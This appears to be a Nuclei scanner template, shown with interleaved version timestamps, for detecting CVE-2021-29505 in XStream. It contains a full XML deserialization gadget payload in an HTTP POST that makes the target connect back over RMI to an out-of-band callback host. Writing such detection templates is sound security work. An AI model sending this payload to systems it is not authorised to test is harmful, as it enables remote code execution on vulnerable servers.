2023-04-11 12:18:46 +00:00
id : CVE-2021-29505
2023-04-09 03:30:42 +00:00
info :
2023-04-13 14:42:14 +00:00
name : XStream <1.4.17 - Remote Code Execution
2023-04-09 03:30:42 +00:00
author : pwnhxl
severity : high
description : |
2023-04-13 14:42:14 +00:00
XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 12:09:01 +00:00
remediation : Patched in 1.4.17.
2023-04-09 03:30:42 +00:00
reference :
- https://paper.seebug.org/1543/
- https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29505
- https://github.com/x-stream/xstream/security/advisories/GHSA-7chv-rrw6-w6fc
2023-04-13 14:42:14 +00:00
- https://nvd.nist.gov/vuln/detail/cve-2021-29505
2023-04-09 03:30:42 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cve-id : CVE-2021-29505
2023-07-11 19:49:27 +00:00
cwe-id : CWE-502
2023-04-12 10:55:48 +00:00
epss-score : 0.02373
2023-10-25 17:36:19 +00:00
epss-percentile : 0.88612
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : xstream_project
product : xstream
tags : oast,vulhub,cve,cve2021,xstream,deserialization,rce
2023-04-27 04:28:59 +00:00
http :
2023-04-11 12:18:46 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>{{interactsh-url}}</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>{{interactsh-url}}</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
- "dns"
- type : word
part : body
words :
- "timestamp"
- "com.thoughtworks.xstream"
condition : or
- type : word
part : header
words :
- "application/json"
- type : status
status :
- 500
2023-10-26 12:01:43 +00:00
# digest: 4b0a00483046022100cf9ea77a00aca57b2f95874e32b89d995cce675c4b551dc6f9d25636da5be816022100f312dc3ecf57922d55e27988546e67e4ca2eccd7ba7156dfc6417e8b26d69fc5:922c64590222798bb761d5b6d8e72950